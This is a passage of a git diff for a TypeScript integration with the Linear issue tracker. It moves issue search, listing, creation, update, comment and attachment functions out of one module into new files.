-    return null
-  }
-
-  return runLinearLookup(entry, async () => {
-    const result = await entry.client.client.rawRequest<
-      LinearAttachmentByUuidResponse,
-      LinearRawVariables
-    >(ATTACHMENT_BY_UUID_QUERY, { id })
-    const attachment = result.data?.attachment
-    return attachment ? mapRawAttachmentWriteRecord(attachment) : null
-  })
-}
-
-export async function getIssueCommentThreadRoot(
-  issueId: string,
-  commentId: string,
-  workspaceId?: string | null
-): Promise<{ id: string; parentId: string | null } | null> {
-  const comment = await getCommentByUuidForAgent(commentId, workspaceId)
-  if (!comment || comment.issue.id !== issueId) {
-    return null
-  }
-  return { id: comment.threadRootId ?? comment.id, parentId: comment.parentId }
-}
-
-export async function searchIssues(
-  query: string,
-  limit = 20,
-  workspaceId?: LinearWorkspaceSelection | null
-): Promise<LinearIssue[]> {
-  const entries = getClients(workspaceId)
-  if (entries.length === 0) {
-    return []
-  }
-
-  const results = await Promise.all(
-    entries.map(async (entry) => {
-      await acquire()
-      try {
-        const result = await entry.client.client.rawRequest<
-          LinearIssueConnectionResponse,
-          LinearRawVariables
-        >(SEARCH_ISSUES_QUERY, { term: query, first: limit })
-        const nodes = result.data?.searchIssues?.nodes ?? []
-        return nodes.map((issue) => mapRawIssueForWorkspace(entry, issue))
-      } catch (error) {
-        if (isAuthError(error)) {
-          clearToken(entry.workspace.id)
-          if (shouldThrowAuthError(workspaceId)) {
-            throw error
-          }
-        } else {
-          console.warn('[linear] searchIssues failed:', error)
-        }
-        return []
-      } finally {
-        release()
-      }
-    })
-  )
-  // Why: searchIssues returns Linear's relevance ranking. Re-sorting by
-  // updatedAt would discard relevance order for single-workspace results,
-  // diverging from Linear's web UI and pre-PR behavior.
-  if (entries.length === 1) {
-    return results.flat().slice(0, limit)
-  }
-  return sortAndLimitIssues(results.flat(), limit)
-}
-
-export type LinearListFilter = 'assigned' | 'created' | 'all' | 'completed' | 'open'
-
-type LinearIssuePageResult = {
-  items: LinearIssue[]
-  hasMore: boolean
-  endCursor?: string
-}
-
-type LinearIssueWorkspacePageState = {
-  entry: LinearClientForWorkspace
-  loadConnection: LinearIssueConnectionLoader
-  items: LinearIssue[]
-  hasMore: boolean
-  canPage: boolean
-  error?: LinearWorkspaceError
-  after?: string
-}
-
-function linearWorkspaceError(
-  entry: LinearClientForWorkspace,
-  error: unknown
-): LinearWorkspaceError {
-  const message = error instanceof Error ? error.message : String(error)
-  const lower = message.toLocaleLowerCase()
-  const type: LinearWorkspaceError['type'] = isAuthError(error)
-    ? 'auth'
-    : lower.includes('rate limit') || lower.includes('429')
-      ? 'rate_limited'
-      : lower.includes('network') ||
-          lower.includes('timeout') ||
-          lower.includes('fetch failed') ||
-          lower.includes('econnreset') ||
-          lower.includes('enotfound')
-        ? 'network'
-        : 'unknown'
-  return {
-    workspaceId: entry.workspace.id,
-    workspaceName: entry.workspace.organizationName,
-    type,
-    message
-  }
-}
-
-async function readListIssuesForWorkspace(
-  entry: LinearClientForWorkspace,
-  filter: LinearListFilter,
-  limit: number,
-  workspaceId: LinearWorkspaceSelection | null | undefined,
-  options?: LinearIssueListOptions
-): Promise<LinearCollectionResult<LinearIssue>> {
-  await acquire()
-  try {
-    return await readIssueConnectionPages(
-      entry,
-      limit,
-      getListIssueConnectionLoader(entry, filter, options)
-    )
-  } catch (error) {
-    if (isAuthError(error)) {
-      clearToken(entry.workspace.id)
-      if (shouldThrowAuthError(workspaceId)) {
-        throw error
-      }
-    } else {
-      console.warn('[linear] listIssues failed:', error)
-    }
-    return { items: [], hasMore: false, errors: [linearWorkspaceError(entry, error)] }
-  } finally {
-    release()
-  }
-}
-
-async function readIssueConnectionPage(
-  entry: LinearClientForWorkspace,
-  loadConnection: LinearIssueConnectionLoader,
-  page: LinearIssuePageRequest
-): Promise<LinearIssuePageResult> {
-  const connection = await loadConnection(page)
-  const nodes = connection?.nodes ?? []
-  return {
-    items: nodes.map((issue) => mapRawIssueForWorkspace(entry, issue)),
-    hasMore: Boolean(connection?.pageInfo?.hasNextPage),
-    endCursor: connection?.pageInfo?.endCursor ?? undefined
-  }
-}
-
-async function readListIssuesPageForState(
-  state: LinearIssueWorkspacePageState,
-  first: number,
-  workspaceId: LinearWorkspaceSelection | null | undefined
-): Promise<void> {
-  const previousCursor = state.after
-  await acquire()
-  try {
-    const page = await readIssueConnectionPage(
-      state.entry,
-      state.loadConnection,
-      previousCursor ? { first, after: previousCursor } : { first }
-    )
-    state.items.push(...page.items)
-    state.hasMore = page.hasMore
-    state.after = page.endCursor
-    state.canPage = Boolean(
-      page.hasMore && page.endCursor && page.endCursor !== previousCursor && page.items.length > 0
-    )
-  } catch (error) {
-    state.items = []
-    state.hasMore = false
-    state.canPage = false
-    state.error = linearWorkspaceError(state.entry, error)
-    if (isAuthError(error)) {
-      clearToken(state.entry.workspace.id)
-      if (shouldThrowAuthError(workspaceId)) {
-        throw error
-      }
-    } else {
-      console.warn('[linear] listIssues failed:', error)
-    }
-  } finally {
-    release()
-  }
-}
-
-function findWorkspaceToPageForLimit(
-  states: LinearIssueWorkspacePageState[],
-  limit: number
-): LinearIssueWorkspacePageState | undefined {
-  const merged = sortAndLimitIssues(
-    states.flatMap((state) => state.items),
-    limit
-  )
-  if (merged.length < limit) {
-    return states
-      .filter((state) => state.canPage)
-      .sort((a, b) => getOldestIssueTime(b.items) - getOldestIssueTime(a.items))[0]
-  }
-
-  const cutoff = new Date(merged[limit - 1].updatedAt).getTime()
-  return states
-    .filter((state) => state.canPage && getOldestIssueTime(state.items) > cutoff)
-    .sort((a, b) => getOldestIssueTime(b.items) - getOldestIssueTime(a.items))[0]
-}
-
-function countSelectedIssuesOlderThanWorkspaceBoundary(
-  states: LinearIssueWorkspacePageState[],
-  stateToPage: LinearIssueWorkspacePageState,
-  limit: number
-): number {
-  const boundary = getOldestIssueTime(stateToPage.items)
-  return sortAndLimitIssues(
-    states.flatMap((state) => state.items),
-    limit
-  ).filter((issue) => new Date(issue.updatedAt).getTime() < boundary).length
-}
-
-async function readListIssuesAcrossWorkspaces(
-  entries: LinearClientForWorkspace[],
-  filter: LinearListFilter,
-  limit: number,
-  workspaceId: LinearWorkspaceSelection | null | undefined,
-  options?: LinearIssueListOptions
-): Promise<LinearCollectionResult<LinearIssue>> {
-  const states: LinearIssueWorkspacePageState[] = entries.map((entry) => ({
-    entry,
-    loadConnection: getListIssueConnectionLoader(entry, filter, options),
-    items: [],
-    hasMore: false,
-    canPage: false
-  }))
-  const first = Math.min(LINEAR_ISSUE_API_PAGE_SIZE_MAX, limit)
-
-  // Why: "all workspaces" is a global sorted list. Pull one bounded page per
-  // workspace first, then spend additional API calls only where unseen issues
-  // can still change the global updatedAt cutoff.
-  await Promise.all(states.map((state) => readListIssuesPageForState(state, first, workspaceId)))
-
-  for (;;) {
-    const nextState = findWorkspaceToPageForLimit(states, limit)
-    if (!nextState) {
-      break
-    }
-    const itemCount = states.reduce((count, state) => count + state.items.length, 0)
-    const pageSize =
-      itemCount < limit
-        ? Math.min(LINEAR_ISSUE_API_PAGE_SIZE_MAX, limit - itemCount)
-        : Math.min(
-            LINEAR_ISSUE_API_PAGE_SIZE_MAX,
-            Math.max(1, countSelectedIssuesOlderThanWorkspaceBoundary(states, nextState, limit))
-          )
-    await readListIssuesPageForState(nextState, pageSize, workspaceId)
-  }
-
-  const limited = sortLimitAndDescribeIssues(
-    states.flatMap((state) => state.items),
-    limit
-  )
-  return {
-    items: limited.items,
-    hasMore: states.some((state) => state.hasMore) || limited.clipped,
-    errors: states.flatMap((state) => (state.error ? [state.error] : []))
-  }
-}
-
-export async function listIssues(
-  filter: LinearListFilter = 'assigned',
-  limit = 20,
-  workspaceId?: LinearWorkspaceSelection | null,
-  options?: LinearIssueListOptions
-): Promise<LinearCollectionResult<LinearIssue>> {
-  const effectiveLimit = clampLinearIssueListLimit(limit)
-  const attributeFilter = options?.attributeFilter
-  // Why: workspace-specific state/member/label ids cannot fan out safely across
-  // "all" workspaces; reject before creating clients so non-UI callers cannot
-  // get a misleading partial subset.
-  if (
-    attributeFilter &&
-    !isEmptyLinearIssueAttributeFilter(attributeFilter) &&
-    workspaceId === 'all'
-  ) {
-    throw new Error(
-      'Linear attribute filters require a concrete workspace; "all" workspaces is not supported.'
-    )
-  }
-  const entries = getClients(workspaceId)
-  if (entries.length === 0) {
-    return { items: [] }
-  }
-
-  if (entries.length === 1) {
-    return readListIssuesForWorkspace(entries[0], filter, effectiveLimit, workspaceId, options)
-  }
-
-  return readListIssuesAcrossWorkspaces(entries, filter, effectiveLimit, workspaceId, options)
-}
-
-export async function createIssue(
-  teamId: string,
-  title: string,
-  description?: string,
-  workspaceId?: string | null,
-  options?: {
-    id?: string
-    parentId?: string
-    projectId?: string | null
-    stateId?: string
-    priority?: number
-    estimate?: number | null
-    dueDate?: string | null
-    assigneeId?: string | null
-    labelIds?: string[]
-  }
-): Promise<
-  | { ok: true; id: string; identifier: string; title: string; url: string }
-  | { ok: false; error: string }
-> {
-  const entry = getClients(workspaceId)[0]
-  if (!entry) {
-    return { ok: false, error: 'Not connected to Linear' }
-  }
-
-  await acquire()
-  try {
-    const result = await entry.client.createIssue({
-      ...(options?.id ? { id: options.id } : {}),
-      teamId,
-      title,
-      ...(description ? { description } : {}),
-      ...(options?.parentId ? { parentId: options.parentId } : {}),
-      ...(options?.projectId ? { projectId: options.projectId } : {}),
-      ...(options?.stateId ? { stateId: options.stateId } : {}),
-      ...(options?.priority !== undefined ? { priority: options.priority } : {}),
-      ...(options?.estimate !== undefined ? { estimate: options.estimate } : {}),
-      ...(options?.dueDate !== undefined ? { dueDate: options.dueDate } : {}),
-      ...(options?.assigneeId ? { assigneeId: options.assigneeId } : {}),
-      ...(options?.labelIds ? { labelIds: options.labelIds } : {})
-    })
-    if (!result.success) {
-      return { ok: false, error: 'Linear create failed' }
-    }
-    const issue = await result.issue
-    if (!issue) {
-      return { ok: false, error: 'Issue was created but could not be retrieved' }
-    }
-    return {
-      ok: true,
-      id: issue.id,
-      identifier: issue.identifier,
-      title: issue.title,
-      url: issue.url
-    }
-  } catch (error) {
-    if (isAuthError(error)) {
-      clearToken(entry.workspace.id)
-      throw error
-    }
-    const message = error instanceof Error ? error.message : String(error)
-    return { ok: false, error: message }
-  } finally {
-    release()
-  }
-}
-
-export async function createIssueForAgent(
-  teamId: string,
-  title: string,
-  description: string | undefined,
-  workspaceId: string,
-  options: {
-    id: string
-    parentId?: string | null
-    projectId?: string | null
-    stateId?: string
-    assigneeId?: string | null
-    priority?: number
-    estimate?: number | null
-    dueDate?: string | null
-    labelIds?: string[]
-    signal?: AbortSignal
-  }
-): Promise<LinearIssueWriteRecord> {
-  const entry = getClients(workspaceId)[0]
-  if (!entry) {
-    throw new LinearWriteFailure('failed', 'Not connected to Linear')
-  }
-
-  return runLinearWrite(entry, options.signal, async (client) => {
-    const result = await client.createIssue({
-      id: options.id,
-      teamId,
-      title,
-      ...(description ? { description } : {}),
-      ...(options.parentId ? { parentId: options.parentId } : {}),
-      ...(options.projectId ? { projectId: options.projectId } : {}),
-      ...(options.stateId ? { stateId: options.stateId } : {}),
-      ...(options.assigneeId !== undefined ? { assigneeId: options.assigneeId } : {}),
-      ...(options.priority !== undefined ? { priority: options.priority } : {}),
-      ...(options.estimate !== undefined ? { estimate: options.estimate } : {}),
-      ...(options.dueDate !== undefined ? { dueDate: options.dueDate } : {}),
-      ...(options.labelIds !== undefined ? { labelIds: options.labelIds } : {})
-    })
-    if (!result.success) {
-      throw new LinearWriteFailure('failed', 'Linear create failed')
-    }
-    const issue = await confirmLinearWrite(
-      'Issue was created but could not be retrieved',
-      async () => result.issue
-    )
-    if (!issue?.id) {
-      throw new LinearWriteFailure('unconfirmed', 'Issue was created but could not be retrieved')
-    }
-    return confirmLinearWrite('Issue was created but could not be retrieved', () =>
-      getCreatedIssueRecord(issue.id, client)
-    )
-  })
-}
-
-async function getCreatedIssueRecord(
-  issueId: string,
-  client: LinearClient
-): Promise<LinearIssueWriteRecord> {
-  const result = await client.client.rawRequest<LinearIssueByUuidResponse, LinearRawVariables>(
-    ISSUE_BY_UUID_QUERY,
-    { id: issueId }
-  )
-  const record = result.data?.issue ?? null
-  if (!record) {
-    throw new LinearWriteFailure('unconfirmed', 'Issue was created but could not be retrieved')
-  }
-  return mapRawIssueWriteRecord(record)
-}
-
-export async function updateIssue(
-  id: string,
-  updates: LinearIssueUpdate,
-  workspaceId?: string | null
-): Promise<{ ok: true } | { ok: false; error: string }> {
-  const entry = getClients(workspaceId)[0]
-  if (!entry) {
-    return { ok: false, error: 'Not connected to Linear' }
-  }
-
-  await acquire()
-  try {
-    // Why: labelIds is a full-replace field — a TOCTOU race exists if another
-    // user changes labels between fetch and write. The caller passes the
-    // complete set built from recently-fetched data. Acceptable for v1;
-    // a future version could re-fetch right before writing or use webhooks.
-    const resolvedLabelIds = updates.labelIds
-
-    const payload: Record<string, unknown> = {}
-    if (updates.stateId !== undefined) {
-      payload.stateId = updates.stateId
-    }
-    if (updates.title !== undefined) {
-      payload.title = updates.title
-    }
-    if (updates.description !== undefined) {
-      payload.description = updates.description
-    }
-    if (updates.assigneeId !== undefined) {
-      payload.assigneeId = updates.assigneeId
-    }
-    if (updates.estimate !== undefined) {
-      payload.estimate = updates.estimate
-    }
-    if (updates.priority !== undefined) {
-      payload.priority = updates.priority
-    }
-    if (updates.dueDate !== undefined) {
-      payload.dueDate = updates.dueDate
-    }
-    if (resolvedLabelIds !== undefined) {
-      payload.labelIds = resolvedLabelIds
-    }
-    if (updates.projectId !== undefined) {
-      payload.projectId = updates.projectId
-    }
-    if (updates.parentId !== undefined) {
-      payload.parentId = updates.parentId
-    }
-
-    const result = await entry.client.updateIssue(id, payload)
-    if (!result.success) {
-      return { ok: false, error: 'Linear update failed' }
-    }
-    return { ok: true }
-  } catch (error) {
-    if (isAuthError(error)) {
-      clearToken(entry.workspace.id)
-      throw error
-    }
-    const message = error instanceof Error ? error.message : String(error)
-    return { ok: false, error: message }
-  } finally {
-    release()
-  }
-}
-
-export async function updateIssueForAgent(
-  id: string,
-  updates: LinearIssueUpdate,
-  workspaceId: string,
-  options: { signal?: AbortSignal } = {}
-): Promise<LinearIssueWriteRecord> {
-  const entry = getClients(workspaceId)[0]
-  if (!entry) {
-    throw new LinearWriteFailure('failed', 'Not connected to Linear')
-  }
-
-  return runLinearWrite(entry, options.signal, async (client) => {
-    const payload: Record<string, unknown> = {}
-    if (updates.stateId !== undefined) {
-      payload.stateId = updates.stateId
-    }
-    if (updates.title !== undefined) {
-      payload.title = updates.title
-    }
-    if (updates.description !== undefined) {
-      payload.description = updates.description
-    }
-    if (updates.assigneeId !== undefined) {
-      payload.assigneeId = updates.assigneeId
-    }
-    if (updates.priority !== undefined) {
-      payload.priority = updates.priority
-    }
-    if (updates.estimate !== undefined) {
-      payload.estimate = updates.estimate
-    }
-    if (updates.dueDate !== undefined) {
-      payload.dueDate = updates.dueDate
-    }
-    if (updates.labelIds !== undefined) {
-      payload.labelIds = updates.labelIds
-    }
-    if (updates.projectId !== undefined) {
-      payload.projectId = updates.projectId
-    }
-    if (updates.parentId !== undefined) {
-      payload.parentId = updates.parentId
-    }
-    const result = await client.updateIssue(id, payload)
-    if (!result.success) {
-      throw new LinearWriteFailure('failed', 'Linear update failed')
-    }
-    return confirmLinearWrite('Issue was updated but could not be retrieved', () =>
-      getCreatedIssueRecord(id, client)
-    )
-  })
-}
-
-export async function addIssueComment(
-  issueId: string,
-  body: string,
-  workspaceId?: string | null,
-  options?: { id?: string; parentId?: string | null }
-): Promise<
-  | { ok: true; id: string; url?: string | null; parentId?: string | null }
-  | { ok: false; error: string }
-> {
-  const entry = getClients(workspaceId)[0]
-  if (!entry) {
-    return { ok: false, error: 'Not connected to Linear' }
-  }
-
-  await acquire()
-  try {
-    const result = await entry.client.createComment({
-      ...(options?.id ? { id: options.id } : {}),
-      issueId,
-      body,
-      ...(options?.parentId ? { parentId: options.parentId } : {})
-    })
-    if (!result.success) {
-      return { ok: false, error: 'Failed to create comment' }
-    }
-    const comment = await result.comment
-    return {
-      ok: true,
-      id: comment?.id ?? '',
-      url: comment?.url ?? null,
-      parentId: options?.parentId ?? null
-    }
-  } catch (error) {
-    if (isAuthError(error)) {
-      clearToken(entry.workspace.id)
-      throw error
-    }
-    const message = error instanceof Error ? error.message : String(error)
-    return { ok: false, error: message }
-  } finally {
-    release()
-  }
-}
-
-export async function addIssueCommentForAgent(
-  issueId: string,
-  body: string,
-  workspaceId: string,
-  options: { id: string; parentId?: string | null; signal?: AbortSignal }
-): Promise<LinearCommentWriteRecord> {
-  const entry = getClients(workspaceId)[0]
-  if (!entry) {
-    throw new LinearWriteFailure('failed', 'Not connected to Linear')
-  }
-
-  return runLinearWrite(entry, options.signal, async (client) => {
-    const result = await client.createComment({
-      id: options.id,
-      issueId,
-      body,
-      ...(options.parentId ? { parentId: options.parentId } : {})
-    })
-    if (!result.success) {
-      throw new LinearWriteFailure('failed', 'Failed to create comment')
-    }
-    const comment = await confirmLinearWrite(
-      'Comment was created but could not be retrieved',
-      async () => result.comment
-    )
-    if (!comment?.id) {
-      throw new LinearWriteFailure('unconfirmed', 'Comment was created but could not be retrieved')
-    }
-    const record = await confirmLinearWrite('Comment was created but could not be retrieved', () =>
-      readCommentWriteRecord(client, comment.id)
-    )
-    if (!record) {
-      throw new LinearWriteFailure('unconfirmed', 'Comment was created but could not be retrieved')
-    }
-    return record
-  })
-}
-
-export async function createIssueAttachment(
-  issueId: string,
-  input: { id: string; title: string; url: string },
-  workspaceId: string,
-  options: { signal?: AbortSignal } = {}
-): Promise<LinearAttachmentWriteRecord> {
-  const entry = getClients(workspaceId)[0]
-  if (!entry) {
-    throw new LinearWriteFailure('failed', 'Not connected to Linear')
-  }
-
-  return runLinearWrite(entry, options.signal, async (client) => {
-    const result = await client.createAttachment({
-      id: input.id,
-      issueId,
-      title: input.title,
-      url: input.url
-    })
-    if (!result.success) {
-      throw new LinearWriteFailure('failed', 'Failed to create attachment')
-    }
-    const attachment = await confirmLinearWrite(
-      'Attachment was created but could not be retrieved',
-      async () => result.attachment
-    )
-    if (!attachment?.id) {
-      throw new LinearWriteFailure(
-        'unconfirmed',
-        'Attachment was created but could not be retrieved'
-      )
-    }
-    const record = await confirmLinearWrite(
-      'Attachment was created but could not be retrieved',
-      () => readAttachmentWriteRecord(client, attachment.id)
-    )
-    if (!record) {
-      throw new LinearWriteFailure(
-        'unconfirmed',
-        'Attachment was created but could not be retrieved'
-      )
-    }
-    return record
-  })
-}
-
-async function readCommentWriteRecord(
-  client: LinearClient,
-  id: string
-): Promise<LinearCommentWriteRecord | null> {
-  const result = await client.client.rawRequest<LinearCommentByUuidResponse, LinearRawVariables>(
-    COMMENT_BY_UUID_QUERY,
-    { id }
-  )
-  const comment = result.data?.comment
-  return comment ? mapRawCommentWriteRecord(comment) : null
-}
-
-async function readAttachmentWriteRecord(
-  client: LinearClient,
-  id: string
-): Promise<LinearAttachmentWriteRecord | null> {
-  const result = await client.client.rawRequest<LinearAttachmentByUuidResponse, LinearRawVariables>(
-    ATTACHMENT_BY_UUID_QUERY,
-    { id }
-  )
-  const attachment = result.data?.attachment
-  return attachment ? mapRawAttachmentWriteRecord(attachment) : null
-}
-
-export async function getIssueComments(
-  issueId: string,
-  workspaceId?: string | null
-): Promise<LinearComment[]> {
-  const entry = getClients(workspaceId)[0]
-  if (!entry) {
-    return []
-  }
-
-  await acquire()
-  try {
-    const result = await entry.client.client.rawRequest<
-      LinearIssueCommentsResponse,
-      LinearRawVariables
-    >(ISSUE_COMMENTS_QUERY, { id: issueId })
-    const nodes = result.data?.issue?.comments?.nodes ?? []
-    return nodes.map((node) => ({
-      id: node.id,
-      body: node.body ?? '',
-      // Why: rawRequest returns createdAt as an ISO string already; do not
-      // re-serialize (the SDK model path used .toISOString() on a parsed Date).
-      createdAt: node.createdAt ?? '',
-      user: node.user
-        ? {
-            displayName: node.user.displayName ?? '',
-            avatarUrl: node.user.avatarUrl ?? undefined
-          }
-        : undefined
-    }))
-  } catch (error) {
-    if (isAuthError(error)) {
-      clearToken(entry.workspace.id)
-      throw error
-    }
-    console.warn('[linear] getIssueComments failed:', error)
-    return []
-  } finally {
-    release()
-  }
-}
diff --git a/src/main/linear/linear-issue-comments.ts b/src/main/linear/linear-issue-comments.ts
new file mode 100644
index 00000000000..98a6d61a04a
--- /dev/null
+++ b/src/main/linear/linear-issue-comments.ts
@@ -0,0 +1,215 @@
+import type { LinearClient } from '@linear/sdk'
+import type { LinearComment } from '../../shared/linear/issue-types'
+import { acquire, release } from './linear-request-concurrency'
+import { clearToken } from './linear-token-store'
+import { getClients, isAuthError } from './client'
+import {
+  ATTACHMENT_BY_UUID_QUERY,
+  COMMENT_BY_UUID_QUERY,
+  ISSUE_COMMENTS_QUERY,
+  type LinearAttachmentByUuidResponse,
+  type LinearCommentByUuidResponse,
+  type LinearIssueCommentsResponse,
+  type LinearRawVariables
+} from './linear-issue-query-documents'
+import {
+  LinearWriteFailure,
+  confirmLinearWrite,
+  mapRawAttachmentWriteRecord,
+  mapRawCommentWriteRecord,
+  runLinearWrite,
+  type LinearAttachmentWriteRecord,
+  type LinearCommentWriteRecord
+} from './linear-issue-write-support'
+
+export async function addIssueComment(
+  issueId: string,
+  body: string,
+  workspaceId?: string | null,
+  options?: { id?: string; parentId?: string | null }
+): Promise<
+  | { ok: true; id: string; url?: string | null; parentId?: string | null }
+  | { ok: false; error: string }
+> {
+  const entry = getClients(workspaceId)[0]
+  if (!entry) {
+    return { ok: false, error: 'Not connected to Linear' }
+  }
+
+  await acquire()
+  try {
+    const result = await entry.client.createComment({
+      ...(options?.id ? { id: options.id } : {}),
+      issueId,
+      body,
+      ...(options?.parentId ? { parentId: options.parentId } : {})
+    })
+    if (!result.success) {
+      return { ok: false, error: 'Failed to create comment' }
+    }
+    const comment = await result.comment
+    return {
+      ok: true,
+      id: comment?.id ?? '',
+      url: comment?.url ?? null,
+      parentId: options?.parentId ?? null
+    }
+  } catch (error) {
+    if (isAuthError(error)) {
+      clearToken(entry.workspace.id)
+      throw error
+    }
+    const message = error instanceof Error ? error.message : String(error)
+    return { ok: false, error: message }
+  } finally {
+    release()
+  }
+}
+
+export async function addIssueCommentForAgent(
+  issueId: string,
+  body: string,
+  workspaceId: string,
+  options: { id: string; parentId?: string | null; signal?: AbortSignal }
+): Promise<LinearCommentWriteRecord> {
+  const entry = getClients(workspaceId)[0]
+  if (!entry) {
+    throw new LinearWriteFailure('failed', 'Not connected to Linear')
+  }
+
+  return runLinearWrite(entry, options.signal, async (client) => {
+    const result = await client.createComment({
+      id: options.id,
+      issueId,
+      body,
+      ...(options.parentId ? { parentId: options.parentId } : {})
+    })
+    if (!result.success) {
+      throw new LinearWriteFailure('failed', 'Failed to create comment')
+    }
+    const comment = await confirmLinearWrite(
+      'Comment was created but could not be retrieved',
+      async () => result.comment
+    )
+    if (!comment?.id) {
+      throw new LinearWriteFailure('unconfirmed', 'Comment was created but could not be retrieved')
+    }
+    const record = await confirmLinearWrite('Comment was created but could not be retrieved', () =>
+      readCommentWriteRecord(client, comment.id)
+    )
+    if (!record) {
+      throw new LinearWriteFailure('unconfirmed', 'Comment was created but could not be retrieved')
+    }
+    return record
+  })
+}
+
+export async function createIssueAttachment(
+  issueId: string,
+  input: { id: string; title: string; url: string },
+  workspaceId: string,
+  options: { signal?: AbortSignal } = {}
+): Promise<LinearAttachmentWriteRecord> {
+  const entry = getClients(workspaceId)[0]
+  if (!entry) {
+    throw new LinearWriteFailure('failed', 'Not connected to Linear')
+  }
+
+  return runLinearWrite(entry, options.signal, async (client) => {
+    const result = await client.createAttachment({
+      id: input.id,
+      issueId,
+      title: input.title,
+      url: input.url
+    })
+    if (!result.success) {
+      throw new LinearWriteFailure('failed', 'Failed to create attachment')
+    }
+    const attachment = await confirmLinearWrite(
+      'Attachment was created but could not be retrieved',
+      async () => result.attachment
+    )
+    if (!attachment?.id) {
+      throw new LinearWriteFailure(
+        'unconfirmed',
+        'Attachment was created but could not be retrieved'
+      )
+    }
+    const record = await confirmLinearWrite(
+      'Attachment was created but could not be retrieved',
+      () => readAttachmentWriteRecord(client, attachment.id)
+    )
+    if (!record) {
+      throw new LinearWriteFailure(
+        'unconfirmed',
+        'Attachment was created but could not be retrieved'
+      )
+    }
+    return record
+  })
+}
+
+async function readCommentWriteRecord(
+  client: LinearClient,
+  id: string
+): Promise<LinearCommentWriteRecord | null> {
+  const result = await client.client.rawRequest<LinearCommentByUuidResponse, LinearRawVariables>(
+    COMMENT_BY_UUID_QUERY,
+    { id }
+  )
+  const comment = result.data?.comment
+  return comment ? mapRawCommentWriteRecord(comment) : null
+}
+
+async function readAttachmentWriteRecord(
+  client: LinearClient,
+  id: string
+): Promise<LinearAttachmentWriteRecord | null> {
+  const result = await client.client.rawRequest<LinearAttachmentByUuidResponse, LinearRawVariables>(
+    ATTACHMENT_BY_UUID_QUERY,
+    { id }
+  )
+  const attachment = result.data?.attachment
+  return attachment ? mapRawAttachmentWriteRecord(attachment) : null
+}
+
+export async function getIssueComments(
+  issueId: string,
+  workspaceId?: string | null
+): Promise<LinearComment[]> {
+  const entry = getClients(workspaceId)[0]
+  if (!entry) {
+    return []
+  }
+
+  await acquire()
+  try {
+    const result = await entry.client.client.rawRequest<
+      LinearIssueCommentsResponse,
+      LinearRawVariables
+    >(ISSUE_COMMENTS_QUERY, { id: issueId })
+    const nodes = result.data?.issue?.comments?.nodes ?? []
+    return nodes.map((node) => ({
+      id: node.id,
+      body: node.body ?? '',
+      // Why: rawRequest returns createdAt as an ISO string already; do not
+      // re-serialize (the SDK model path used .toISOString() on a parsed Date).
+      createdAt: node.createdAt ?? '',
+      user: node.user
+        ? {
+            displayName: node.user.displayName ?? '',
+            avatarUrl: node.user.avatarUrl ?? undefined
+          }
+        : undefined
+    }))
+  } catch (error) {
+    if (isAuthError(error)) {
+      clearToken(entry.workspace.id)
+      throw error
+    }
+    console.warn('[linear] getIssueComments failed:', error)
+    return []
+  } finally {
+    release()
+  }
+}
diff --git a/src/main/linear/linear-issue-listing.ts b/src/main/linear/linear-issue-listing.ts
new file mode 100644
index 00000000000..b1543774304
--- /dev/null
+++ b/src/main/linear/linear-issue-listing.ts
@@ -0,0 +1,263 @@
+import type { LinearIssue } from '../../shared/linear/issue-types'
+import type {
+  LinearCollectionResult,
+  LinearWorkspaceError,
+  LinearWorkspaceSelection
+} from '../../shared/linear/workspace-types'
+import {
+  LINEAR_ISSUE_API_PAGE_SIZE_MAX,
+  clampLinearIssueListLimit
+} from '../../shared/linear/issue-read-limits'
+import { isEmptyLinearIssueAttributeFilter } from '../../shared/linear/issue-attribute-filter'
+import { acquire, release } from './linear-request-concurrency'
+import { clearToken } from './linear-token-store'
+import { getClients, isAuthError, type LinearClientForWorkspace } from './client'
+import type {
+  LinearIssueConnectionLoader,
+  LinearIssueListOptions,
+  LinearIssuePageRequest
+} from './linear-issue-query-documents'
+import {
+  getListIssueConnectionLoader,
+  getOldestIssueTime,
+  mapRawIssueForWorkspace,
+  sortAndLimitIssues,
+  readIssueConnectionPages,
+  shouldThrowAuthError,
+  sortLimitAndDescribeIssues
+} from './linear-issue-query-support'
+
+export type LinearListFilter = 'assigned' | 'created' | 'all' | 'completed' | 'open'
+
+type LinearIssuePageResult = {
+  items: LinearIssue[]
+  hasMore: boolean
+  endCursor?: string
+}
+
+type LinearIssueWorkspacePageState = {
+  entry: LinearClientForWorkspace
+  loadConnection: LinearIssueConnectionLoader
+  items: LinearIssue[]
+  hasMore: boolean
+  canPage: boolean
+  error?: LinearWorkspaceError
+  after?: string
+}
+
+function linearWorkspaceError(
+  entry: LinearClientForWorkspace,
+  error: unknown
+): LinearWorkspaceError {
+  const message = error instanceof Error ? error.message : String(error)
+  const lower = message.toLocaleLowerCase()
+  const type: LinearWorkspaceError['type'] = isAuthError(error)
+    ? 'auth'
+    : lower.includes('rate limit') || lower.includes('429')
+      ? 'rate_limited'
+      : lower.includes('network') ||
+          lower.includes('timeout') ||
+          lower.includes('fetch failed') ||
+          lower.includes('econnreset') ||
+          lower.includes('enotfound')
+        ? 'network'
+        : 'unknown'
+  return {
+    workspaceId: entry.workspace.id,
+    workspaceName: entry.workspace.organizationName,
+    type,
+    message
+  }
+}
+
+async function readListIssuesForWorkspace(
+  entry: LinearClientForWorkspace,
+  filter: LinearListFilter,
+  limit: number,
+  workspaceId: LinearWorkspaceSelection | null | undefined,
+  options?: LinearIssueListOptions
+): Promise<LinearCollectionResult<LinearIssue>> {
+  await acquire()
+  try {
+    return await readIssueConnectionPages(
+      entry,
+      limit,
+      getListIssueConnectionLoader(entry, filter, options)
+    )
+  } catch (error) {
+    if (isAuthError(error)) {
+      clearToken(entry.workspace.id)
+      if (shouldThrowAuthError(workspaceId)) {
+        throw error
+      }
+    } else {
+      console.warn('[linear] listIssues failed:', error)
+    }
+    return { items: [], hasMore: false, errors: [linearWorkspaceError(entry, error)] }
+  } finally {
+    release()
+  }
+}
+
+async function readIssueConnectionPage(
+  entry: LinearClientForWorkspace,
+  loadConnection: LinearIssueConnectionLoader,
+  page: LinearIssuePageRequest
+): Promise<LinearIssuePageResult> {
+  const connection = await loadConnection(page)
+  const nodes = connection?.nodes ?? []
+  return {
+    items: nodes.map((issue) => mapRawIssueForWorkspace(entry, issue)),
+    hasMore: Boolean(connection?.pageInfo?.hasNextPage),
+    endCursor: connection?.pageInfo?.endCursor ?? undefined
+  }
+}
+
+async function readListIssuesPageForState(
+  state: LinearIssueWorkspacePageState,
+  first: number,
+  workspaceId: LinearWorkspaceSelection | null | undefined
+): Promise<void> {
+  const previousCursor = state.after
+  await acquire()
+  try {
